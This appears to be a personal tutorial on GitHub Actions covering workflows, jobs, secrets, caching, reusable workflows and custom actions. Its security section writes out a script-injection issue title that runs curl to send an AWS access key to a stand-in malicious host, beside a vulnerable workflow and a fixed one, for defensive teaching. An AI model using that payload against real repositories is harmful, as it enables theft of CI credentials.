Introduction to GitHub Actions

GitHub Actions is a tool for automating software development Workflows directly within your GitHub repository. You create a GitHub Action (Workflow) by defining it in a YAML file within the .github/workflows directory of your code repository. This file specifies the events that trigger the Workflow and the Jobs that should be executed.

GitHub introduced Actions to provide Continuous Integration and Continuous Delivery (CI/CD) within GitHub repositories. Other platforms like GitLab and Bitbucket offer similar capabilities, but the syntax differs, so switching means rewriting your Workflows. Gitea and Forgejo are closer to GitHub’s syntax, making the switch easier.

This article was created based on some notes I took while learning about GitHub Actions. Hope it helps you understand the basics and get started with automating your Workflows. For me personally, it serves as a reference for when I need to set up or modify GitHub Actions in the future.

#Building Blocks

There are four main building blocks in a GitHub Action:

  • Workflows
  • Jobs
  • Steps
  • Actions

A Workflow has Jobs, a Job has Steps and a Step has Actions. This is all written on the YAML files within the .github/workflows directory of your repository.

#Workflows

Define automated processes that run on specific events in your repository. They allow you to automate tasks such as building, testing and deploying code.

As I already mentioned, Workflows are part of your codebase. They are defined in YAML files located in the .github/workflows directory of the repository (e.g., .github/workflows/first-workflow.yml).

Triggered upon events like pushes, pull requests, or scheduled times. If you want to use push or pull_request events to trigger your Workflow, you need to specify them in the on section of your Workflow YAML file. You can specify the branch or branches that should trigger the Workflow by using the branches key under the on section in your Workflow YAML file. For example:

name: Example Workflow Triggered on Push
on:
  push:
    branches: main

Another common event is workflow_dispatch, which lets you manually trigger a Workflow from the GitHub Actions interface whenever you want. To use the workflow_dispatch event, the Workflow YAML file must exist in the .github/workflows directory of your repository and on the default branch (usually main).

For example, you can add the workflow_dispatch event to your Workflow YAML file like this:

name: Example Workflow Triggered on Workflow Dispatch
on:
  workflow_dispatch:

Other events that can trigger Workflows include pull_request, issues, release and schedule. Read more in the GitHub Actions documentation on events.

#Jobs

A Workflow is made up of one or more Jobs, which run in parallel or sequentially. Each Job needs a runner, which defines the environment it executes in. A runner can be predefined by GitHub or configured by the user. Jobs run in parallel (default) or can be configured to run sequentially (using the needs keyword). Conditional Jobs can also exist.

They run on the specified runner environment, like a virtual machine provided by GitHub (e.g., ubuntu-latest) or a self-hosted runner.

name: Example Workflow with Jobs
on:
  workflow_dispatch:
jobs:
  example-job:
    runs-on: ubuntu-latest

#Steps

Each Job consists of Steps, which are individual tasks executed in the Workflow. Like for example download the code in first Step, install dependencies in the second Step and run tests in the third Step. You can define each Step with a shell command, a shell script, or an Action. Actions are predefined scripts that perform a specific task. You can use custom Actions as well. Steps are always executed in order (not parallel).

If you need to run multiple shell commands (or multi-line commands, e.g., for readability), you can easily do so by adding the pipe symbol (|) as a value after the run: key.

name: Example Workflow with Job using Steps
on:
  workflow_dispatch:
jobs:
  example-job:
    runs-on: ubuntu-latest
  steps:
   - name: Print Hello World
     run: echo "Hello, world!"
   - name: Print Goodbye
     run: |
       echo "This is a multi-line command."
       echo "Goodbye, world!"

#Actions

Sometimes is not a simple command you want to run. In such cases, you can create or use existing Actions that encapsulate the complexity, making your Workflows cleaner and more maintainable. There are a lot of already created Actions available in the GitHub Marketplace that you can use in your Workflows. Check for “Verified creators” badge in the GitHub Marketplace to ensure the Action is trustworthy.

Like for example, the actions/checkout Action is commonly used to check out the repository code at the beginning of a Workflow. Typically, it is the first Step in most Workflows.

You use the uses keyword in a Step to include an Action. With the with keyword, you can pass input parameters to Actions. For example, to use the actions/checkout Action, you would write:

name: Example Workflow with Job using Actions
on:
  workflow_dispatch:
jobs:
  example-job:
    runs-on: ubuntu-latest
    steps:
      - name: Checkout code
        uses: actions/[email protected]
        with:
          # Set the fetch depth to 0 to fetch the entire history
          fetch-depth: 0

Always lock the version of the Actions you use to ensure consistent behavior and avoid unexpected changes. For example, use actions/[email protected] instead of actions/checkout@main.

#Workflow & Events

#Activity Types and Event Filters

Event filters allow you to specify conditions under which a Workflow should run. You can trigger Workflows only on certain branches, tags, or when specific files are changed.

  • Activity Types: for example pull_request has a long list of Activity Types and it makes the Workflow triggered when a pull request is opened or closed or as defined by the specified types.

  • Filters: for example, the push event lets you narrow down the circumstances under which a Workflow is triggered. You can filter by branches, tags, or file paths to ensure that Workflows run only when relevant changes occur. It also won’t run if the only changed files match the ignored paths. This avoids unnecessary Workflow runs for changes that don’t affect the Workflow’s purpose.

Check out the Workflow syntax for GitHub Actions for more details.

The following example demonstrates how to use activity types and event filters in a Workflow:

on:
  workflow_dispatch:
  pull_request:
    types: [closed]
    branches:
      - main
  push:
    branches:
       - main
    paths-ignore:
      - '.github/workflows/**'

#Forks and Pull Requests

Workflows triggered by pull request events from forks have some limitations. Mainly because security concerns prevent certain Actions from being executed automatically.

By default GitHub Actions do not trigger Workflows for pull requests based on forks of the repository automatically in the same way as pull requests from the main repository. This puts the Workflow in a state where the original maintainer has to approve it before it can run, so untrusted code doesn’t execute with elevated permissions.

There are other limitations as well. For example, secrets are not passed to Workflows triggered by pull requests from forks for security reasons. This means that if your Workflow relies on secrets, it won’t have access to them when triggered by a pull request from a fork. You can still run tests and checks, but you need to be aware of these restrictions when designing your Workflows.

#Cancelling and Skipping Workflow Runs

By default a Workflow gets cancelled if a Job fails. However, you can configure your Workflow to continue running other Jobs even if one fails by using the continue-on-error option in your Job definition.

jobs:
  build:
    runs-on: ubuntu-latest
    continue-on-error: true
    steps:
      - name: Checkout repository
        uses: actions/[email protected]
      - name: Run build
        run: echo "Building the project..."
      - name: Run tests
        run: echo "Running tests..."
      - name: Deploy
        run: echo "Deploying the project..."

By default, a Job fails if at least one Step fails. You can override this behavior for individual Steps by using the continue-on-error option within the Step definition.

You can also cancel a Workflow manually from the GitHub Actions interface, through the REST API, or automatically by using a concurrency group with cancel-in-progress: true to cancel superseded runs.

You can also skip certain Workflow runs based on conditions, using the if conditional expression in your Workflow definition to control when specific Jobs or Steps run.

To skip a Workflow run based on a condition based on a commit message see Skipping Workflow runs for more details.

#Job Artifacts and Outputs

In GitHub Actions, you can store and share data between Jobs using artifacts and outputs.

  • Artifacts: allow you to persist files generated during a Workflow run.
  • Outputs: enable you to pass data from one Job to another, like a filename or a status flag.

#Artifacts

Job artifacts persist files generated during a Workflow run and make them available to other Jobs or for download afterward. Use the actions/upload-artifact Action to upload artifacts and actions/download-artifact to retrieve them in later Jobs. You’ll typically use them for build outputs like app binaries, website files, or log files, which you can download manually or pass along to other Jobs.

jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - name: Checkout repository
        uses: actions/[email protected]
      - name: Build project
        run: echo "Building the project..."
      - name: Upload build artifacts
        uses: actions/upload-[email protected]
        with:
          name: build-artifacts # The identifier of the artifact to be uploaded
          path: path/to/build/output # Where the build output is located
  deploy:
    runs-on: ubuntu-latest
    needs: build
    steps:
      - name: Checkout repository
        uses: actions/[email protected]
      - name: Download build artifacts
        uses: actions/download-[email protected]
        with:
          name: build-artifacts # The identifier of the artifact to be downloaded
      - name: Output contents of the downloaded artifact directory
        run: ls # It lists the contents of the downloaded artifact directory directly (path/to/build/output) so it's the output folder contents
      - name: Deploy
        run: echo "Deploying the project..."

The artifact will appear in the “Artifacts” section of the Workflow run summary in the GitHub Actions interface. You can download it manually or use it in subsequent Jobs within the same Workflow.

#Outputs

Outputs let you share small values, like a filename, between Jobs in the Workflow, rather than an entire file’s content. They matter even more once you start building custom Actions.

Example for getting a filename from a previous Job’s output:

jobs:
  build:
    runs-on: ubuntu-latest
    outputs:
      filename: ${{ steps.get-filename.outputs.filename }}
    steps:
      - name: Checkout repository
        uses: actions/[email protected]
      - name: Create a file
        run: echo "Hello, World!" > example.txt
      - name: Get filename
        id: get-filename
        run: echo "filename=example.txt" >> $GITHUB_OUTPUT
  deploy:
    runs-on: ubuntu-latest
    needs: build
    steps:
      - name: Checkout repository
        uses: actions/[email protected]
      - name: Output filename from previous job
        run: echo "The filename is ${{ needs.build.outputs.filename }}"

You can also see run: echo "filename=example.txt" >> $GITHUB_OUTPUT written as another syntax like ::set-output name=filename::example.txt. But the first syntax I used in the example is the recommended approach in modern GitHub Actions Workflows.

#Dependency Caching

Dependency caching stores and reuses dependencies between Jobs or Workflow runs, so you don’t have to reinstall the same packages every time, which speeds up your CI/CD pipelines.

Example of caching dependencies using the actions/cache Action:

jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - name: Checkout repository
        uses: actions/[email protected]
      - name: Cache Node.js modules
        id: cache-dependencies
        uses: actions/[email protected]
        with:
          path: node_modules
          key: ${{ runner.os }}-node-modules-${{ hashFiles('**/package-lock.json') }}
      - name: Install dependencies
        if: steps.cache-dependencies.outputs.cache-hit != 'true'
        run: npm install
  deploy:
    runs-on: ubuntu-latest
    needs: build
    steps:
      - name: Checkout repository
        uses: actions/[email protected]
      - name: Cache Node.js modules
        id: cache-dependencies
        uses: actions/[email protected]
        with:
          path: node_modules
          key: ${{ runner.os }}-node-modules-${{ hashFiles('**/package-lock.json') }}
      - name: Install dependencies
        if: steps.cache-dependencies.outputs.cache-hit != 'true'
        run: npm install
      - name: Build project
        run: npm run build
      - name: Deploy project
        run: npm run deploy

You can cache any files with the actions/cache Action, not just Node.js modules.

#Environment Variables and Secrets

Don’t hardcode sensitive information like API keys, passwords, or other secrets. Use environment variables and GitHub Secrets instead to manage that data securely.

Environment variables store configuration values that your Workflow Jobs and Steps can access. You can define them at the Workflow, Job, or Step level.

When you use process.env.VARIABLE_NAME in your Node.js code, you can access the value of an environment variable named VARIABLE_NAME. For example, if you have an environment variable DATABASE_URL, you can access it in your code using process.env.DATABASE_URL. You can have a different DATABASE_URL value for different environments, such as development, staging and production.

How can we provide the API_KEY value to our Workflow without hardcoding it? The answer is to use GitHub Environment Variables and Secrets. You can store your secrets in the repository settings and then access them in your Workflow using the secrets context.

GitHub stores secrets in the repository settings, under Repository > Settings > Secrets and variables > Actions. You can create a new secret named API_KEY and assign it a value, for example my-secret-api-key and update it on the same page whenever needed. You’d typically use secrets for API keys, database credentials and other sensitive information that shouldn’t be hardcoded in your Workflow files.

The following example shows how to use the API_KEY secret as an environment variable in a GitHub Actions Workflow:

jobs:
  build:
    runs-on: ubuntu-latest
    env:
      API_KEY: ${{ secrets.API_KEY }}
    steps:
      - name: Checkout repository
        uses: actions/[email protected]
      - name: Install dependencies
        run: npm install
      - name: Build project
        run: npm run build
      - name: Output environment variables
        run: echo "Environment variables: ${{ toJSON(env) }}"
      - name: Output environment variables specifically for the API key
        run: echo "Environment variables API_KEY: ${{ env.API_KEY }}"
      - name: Output API key
        run: echo "The API key is $API_KEY"

GitHub Actions masks the value of a secret in the logs, whether it’s printed by an echo command or by your own code, as long as the exact value appears in the output. The masking is a plain string match, so it stops working once the value is transformed (for example Base64-encoded, URL-encoded, or split into parts) and it doesn’t apply to values that are not registered as secrets. Therefore, you should still be careful not to log secrets or expose them in any way that could compromise their secrecy.

So all Jobs in the Workflow can access the API_KEY environment variable securely without hardcoding it. You can also define environment variables at the Job or Step level if needed.

Then in your code you can access the API_KEY environment variable using process.env.API_KEY. For example:

const apiKey = process.env.API_KEY;
fetch('https://api.example.com/data', {
  headers: { Authorization: `Bearer ${apiKey}` },
});

#GitHub Environments

GitHub Environments allow you to define different deployment environments for your Workflows, such as development, staging and production. Each environment can have its own set of secrets and protection rules. You can reference an environment in your Workflow using the environment key:

jobs:
  deploy:
    runs-on: ubuntu-latest
    environment: production
    steps:
      - name: Checkout repository
        uses: actions/[email protected]
      - name: Deploy application
        run: npm run deploy
      - name: Output environment variables for production
        run: echo "Environment variables for production: ${{ toJSON(env) }}"

#Controlling Workflow and Job Creation

You can control the execution flow of your Workflows using various conditions and filters. Sometimes you want to continue running a Workflow even if a previous Job fails, or you may want to skip certain Jobs based on specific conditions. GitHub Actions provides the if key and other filters for this.

If a Step fails on a Job it will cause the Job to fail and stop executing subsequent Steps, unless you use the continue-on-error option. Also other Jobs that depend on the failed Job may not run, depending on your Workflow configuration.

Here is an example of controlling Job creation based on the branch and also if a previous Step failed and a Job that runs if a previous Job fails.

jobs:
  build:
    runs-on: ubuntu-latest
    if: github.ref == 'refs/heads/main'
    steps:
      - name: Checkout repository
        uses: actions/[email protected]
      - name: Install dependencies
        run: npm install
      - name: Build project
        run: npm run build
      - name: Test project
        id: run-tests
        run: npm test
      - name: Upload test report
        if: failure() && steps.run-tests.outcome == 'failure'
        uses: actions/upload-[email protected]
        with:
          name: test-report
          path: test-report.xml
  report:
    needs: build
    if: failure()
    runs-on: ubuntu-latest
    steps:
      - name: Output information
        run: |
          echo "Something went wrong"
          echo "${{ toJSON(github) }}"

failure() ensures a Step runs even if the previous Step failed, it returns true if the previous Step failed. You can use steps.<step_id>.outcome to check the outcome of a specific Step, where <step_id> is the Step’s ID.

When you use continue-on-error on a Step, the Workflow keeps executing subsequent Steps even if that Step fails and the Job isn’t marked as failed because of it. This is useful when you want to allow certain Steps to fail without stopping the entire Workflow.

#Matrix Jobs

Matrix Jobs allow you to run a Job multiple times with different configurations. Useful for testing your code against multiple versions of a language, operating system, or other dependencies.

Here is an example of a matrix Job that runs tests on multiple versions of Node.js:

jobs:
  test:
    strategy:
      matrix:
        node-version: [22, 24, 26]
        operating-system: [ubuntu-latest, windows-latest, macos-latest]
        exclude: # Exclude combinations that are not supported or desired, there's is also an `include` option to explicitly include specific combinations
          - node-version: 22
            operating-system: windows-latest
    runs-on: ${{ matrix.operating-system }}
    steps:
      - name: Checkout repository
        uses: actions/[email protected]
      - name: Set up Node.js
        uses: actions/setup-[email protected]
        with:
          node-version: ${{ matrix.node-version }}
          cache: 'npm'
      - name: Install dependencies
        run: npm install
      - name: Run tests
        run: npm test

#Saving Time and Code with Reusable Workflows

Reusable Workflows let you define common Workflow logic once and reuse it across multiple repositories, or across multiple Workflows in the same repository. This saves time and avoids duplicated code.

So we can call Workflows from other repositories or Workflows within the same repository using the workflow_call event.

To create one create a file like .github/workflows/reusable-workflow.yml:

# Example of defining a reusable workflow
name: Reusable Workflow
on:
  workflow_call:
    inputs:
      example-input:
        required: true
        type: string
    outputs:
      result:
        description: 'The result of the workflow'
        value: ${{ jobs.example-job.outputs.result }}
    secrets:
      EXAMPLE_SECRET:
        required: true
jobs:
  example-job:
    runs-on: ubuntu-latest
    outputs:
      result: ${{ steps.set-result.outputs.result }}
    steps:
      - name: Checkout repository
        uses: actions/[email protected]
      - name: Print input
        run: echo "Input: ${{ inputs.example-input }}"
      - name: Print secret
        run: echo "Secret: ${{ secrets.EXAMPLE_SECRET }}"
      - name: Set result output
        id: set-result
        run: echo "result=Success" >> $GITHUB_OUTPUT

To call a reusable Workflow, you can use the uses keyword in your Job definition and provide the path to the reusable Workflow file along with the necessary inputs and secrets:

# Example of calling a reusable workflow
name: Using Reusable Workflow
on:
  push:
    branches:
      - main
jobs:
  call-workflow:
    uses: owner/repo/.github/workflows/reusable-workflow.yml@main
    with:
      example-input: value
    secrets:
      EXAMPLE_SECRET: ${{ secrets.EXAMPLE_SECRET }}
  print-example-job-output:
    runs-on: ubuntu-latest
    needs: call-workflow
    steps:
      - name: Print result from example job
        run: echo "Result: ${{ needs.call-workflow.outputs.result }}"

#Jobs and Docker Containers

In GitHub Actions, you can run Jobs inside Docker containers. This gives your Jobs a consistent environment, so they run the same way regardless of the underlying runner. It might be useful when you need a controlled environment with specific dependencies or configurations that differ from the default runner environment.

jobs:
  example-job:
    runs-on: ubuntu-latest
    container:
      image: node:24
      env:
        EXAMPLE_ENV: example_value
    steps:
      - name: Checkout repository
        uses: actions/[email protected]
      - name: Run a command inside the container
        run: node -v

#Service Containers

Service containers allow you to run additional Docker containers alongside your Job container. This is useful for running databases, caches, or other services that your Job depends on. They run alongside your main Job container only for the duration of the Job, providing the services it needs.

jobs:
  example-job:
    runs-on: ubuntu-latest
    container:
      image: node:24
    services:
      postgres:
        image: postgres:16
        env:
          POSTGRES_USER: user
          POSTGRES_PASSWORD: password
          POSTGRES_DB: example_db
        ports:
          - 5432:5432
    steps:
      - name: Checkout repository
        uses: actions/[email protected]
      - name: Run a command inside the container
        run: node -v
      - name: Wait for Postgres service to be ready
        run: |
          until pg_isready -h localhost -p 5432 -U user; do
            echo "Waiting for Postgres..."
            sleep 2
          done
          echo "Postgres is ready."
      - name: Initialize database
        run: |
          psql -h localhost -p 5432 -U user -d example_db -c "CREATE TABLE IF NOT EXISTS example_table (id SERIAL PRIMARY KEY, name TEXT);"
      - name: Start Express application
        run: |
          npm install
          npm start

#Building and Using Custom Actions

Custom Actions let you encapsulate reusable logic instead of repeating the same Steps across multiple Workflows. We already used a custom Action when we included actions/[email protected] in our Workflows. You can create Actions using composite Actions, JavaScript or Docker containers.

Your Actions can live on their own repositories or within the same repository as your Workflows. For the same repository, you can place your custom Action in a subdirectory, typically under .github/actions/<action-name>. This allows you to reference it in your Workflows using ./.github/actions/<action-name>. The Action itself is defined in a YAML file named action.yml (or action.yaml) inside that directory, so the full path is .github/actions/<action-name>/action.yml.

Example: Composite Action in .github/actions/get-and-cache-dependencies/action.yml:

name: "Get and Cache Dependencies"
description: "An action to get (via npm) and cache dependencies"
runs:
  using: "composite"
  steps:
    - name: Cache dependencies
      id: cache-dependencies
      uses: actions/[email protected]
      with:
        path: node_modules
        key: ${{ runner.os }}-node-modules-${{ hashFiles('**/package-lock.json') }}
    - name: Install dependencies
      if: steps.cache-dependencies.outputs.cache-hit != 'true'
      run: npm install
      shell: bash
    - name: Run a command
      run: echo "Hello from composite action"
      shell: bash

Example: JavaScript Action:

name: "My Custom Action"
description: "An example custom action"
runs:
  using: "node24"
  main: "index.js"

To learn more about Javascript Actions, refer to the GitHub Actions documentation.

Example: Docker Action:

name: "My Docker Action"
description: "An example Docker action"
runs:
  using: "docker"
  image: "Dockerfile"

To learn more about Docker Actions, refer to the GitHub Actions documentation.

To use the custom Action in your Workflow, you can reference it using the path to the Action directory.

For example:

jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - name: Checkout repository
        uses: actions/[email protected]
      - name: Use custom action
        uses: ./.github/actions/get-and-cache-dependencies

Note: get-and-cache-dependencies is the name of the custom Action directory. You don’t need to include the full path to the Action YAML file itself.

For defining inputs for your custom Action, you can specify them in the action.yml file using the inputs key on the same level as name, description and runs. Each input can have a name, description and default value. For example:

name: "Get and Cache Dependencies"
description: "An action to get (via npm) and cache dependencies"
runs:
  using: "composite"
inputs:
  caching:
    description: "Whether to cache dependencies or not."
    default: "true"
    required: false

You can also define outputs for your custom Action using the outputs key in the action.yml file. For example:

name: "Get and Cache Dependencies"
description: "An action to get (via npm) and cache dependencies"
runs:
  using: "composite"
outputs:
  used-cache:
    description: "Indicates whether the dependencies were retrieved from cache (true if cache was used)."
    value: ${{ steps.install-dependencies.outputs.used-cache }}
  steps:
    - name: Cache dependencies
      if: inputs.caching == 'true'
      id: cache-dependencies
      uses: actions/[email protected]
      with:
        path: node_modules
        key: ${{ runner.os }}-node-modules-${{ hashFiles('**/package-lock.json') }}
    - name: Install dependencies
      id: install-dependencies
      if: steps.cache-dependencies.outputs.cache-hit != 'true' || inputs.caching != 'true'
      run: |
        npm install
        echo "used-cache=${{ inputs.caching }}" >> $GITHUB_OUTPUT
      shell: bash

#Security and Permissions

Using GitHub Actions comes with security implications, so it’s worth following some best practices to minimize risk.

#Script Injection

Be cautious of script injection vulnerabilities when using GitHub Actions. For example a malicious Issue title could inject scripts if your Workflow uses the issue title without proper sanitization.

People could open an Issue like: a"; echo Injected! Got your secrets". Imagine if someone uses an Issue title like: a"; curl http://malicious-site.com?abc=$AWS_ACCESS_KEY_ID", they could exfiltrate some of your data.

Example of a potentially vulnerable Workflow using issue titles:

name: "Issue Title Workflow"
on:
  issues:
    types: [opened]
jobs:
  example:
    runs-on: ubuntu-latest
    steps:
      - name: Print issue title
        run: echo "Issue title: ${{ github.event.issue.title }}"

Example of a secure Workflow using issue titles:

name: "Issue Title Workflow"
on:
  issues:
    types: [opened]
jobs:
  example:
    runs-on: ubuntu-latest
    env:
      TITLE: ${{ github.event.issue.title }}
    steps:
      - name: Print issue title
        run: echo "Issue title: $TITLE"

#Malicious Third-Party Actions

Be cautious when using third-party Actions in your Workflows. Use your own Actions whenever possible. For third-party Actions, only use Actions from trusted sources. Consider pinning Actions to specific versions or commit SHAs to prevent unexpected changes from affecting your Workflows.

#Permission Issues

Ensure that your Workflows have the appropriate permissions to perform their tasks. Avoid granting excessive permissions to Actions and Workflows and regularly review and update permissions to follow the principle of least privilege.

# Example of setting permissions for a workflow
name: "Permission Example"
on:
  push:
    branches: [main]
jobs:
  example:
    runs-on: ubuntu-latest
    permissions:
      contents: read
      issues: write
    steps:
      - name: Checkout repository
        uses: actions/[email protected]

On this last example, we explicitly set the permissions for the Workflow to follow the principle of least privilege. The Workflow only has read access to the repository contents and write access to issues, which keeps the risk low.

Those permissions apply to the GITHUB_TOKEN, a special access token automatically provided by GitHub to authenticate on behalf of the Workflow. It’s only valid for the duration of the Workflow run and has the permissions defined in the Workflow file. You can use it in your Workflow Steps to authenticate API requests, for example to create issues, comment on pull requests, or interact with other GitHub API endpoints, according to the permissions granted.

#Putting It All Together

This Workflow ties everything covered so far into one complete, realistic example. It tests a Node.js project across multiple Node.js versions, then on pushes to main it builds a Docker image and pushes it to a private registry, before deploying that image to production.

name: Build, Test and Deploy
on:
  push:
    branches:
      - main
  pull_request:
    branches:
      - main
  workflow_dispatch:
concurrency:
  group: ${{ github.workflow }}-${{ github.ref }}
  cancel-in-progress: true
permissions:
  contents: read
jobs:
  test:
    runs-on: ubuntu-latest
    strategy:
      matrix:
        node-version: [22, 24, 26]
    steps:
      - name: Checkout repository
        uses: actions/[email protected]
      - name: Set up Node.js
        uses: actions/setup-[email protected]
        with:
          node-version: ${{ matrix.node-version }}
          cache: 'npm'
      - name: Install dependencies
        run: npm ci
      - name: Run tests
        run: npm test
  build-and-push:
    runs-on: ubuntu-latest
    needs: test
    if: github.ref == 'refs/heads/main' && github.event_name != 'pull_request'
    environment: production
    permissions:
      contents: read
    outputs:
      image-tag: ${{ steps.set-image-tag.outputs.image-tag }}
    steps:
      - name: Checkout repository
        uses: actions/[email protected]
      - name: Set image tag
        id: set-image-tag
        run: echo "image-tag=registry.example.com/my-app:${{ github.sha }}" >> $GITHUB_OUTPUT
      - name: Set up Docker Buildx
        uses: docker/setup-buildx-[email protected]
      - name: Log in to private Docker registry
        uses: docker/login-[email protected]
        with:
          registry: registry.example.com
          username: ${{ secrets.REGISTRY_USERNAME }}
          password: ${{ secrets.REGISTRY_PASSWORD }}
      - name: Build and push Docker image
        uses: docker/build-push-[email protected]
        with:
          context: .
          push: true
          tags: |
            ${{ steps.set-image-tag.outputs.image-tag }}
            registry.example.com/my-app:latest
          cache-from: type=gha
          cache-to: type=gha,mode=max
  deploy:
    runs-on: ubuntu-latest
    needs: build-and-push
    environment: production
    steps:
      - name: Deploy new image to production
        run: |
          echo "Deploying ${{ needs.build-and-push.outputs.image-tag }} to production..."
          # e.g. ssh into the server and run:
          # docker pull ${{ needs.build-and-push.outputs.image-tag }}
          # docker compose up -d

The test Job runs on every push and pull request, across a matrix of Node.js versions, so broken code never reaches the registry. Only when test passes on a push to main does build-and-push log in to the private registry with docker/login-action, then build and push the image with docker/build-push-action, tagging it with both the commit SHA and latest. The image tag is exposed as a Job output so deploy can pull and run that exact image on the production host, using the production Environment to apply its protection rules.

The deploy Job only runs after build-and-push completes successfully, so only tested, built images reach production.

After deploy completes successfully, you still need to pull the new image and restart your application on the production server. You can do that with SSH commands in a run step, or automate it with an action like appleboy/ssh-action.

#Wrap Up

Practice is a step towards mastering GitHub Actions. Artificial Intelligence can also assist in generating and understanding GitHub Actions Workflows. The best way to get comfortable with GitHub Actions is to actively create and modify Workflows in your own repositories.

I’m using them extensively in my projects to automate repetitive tasks and streamline my development Workflow. I encourage you to do the same and explore the full potential of GitHub Actions in your own projects.

Date: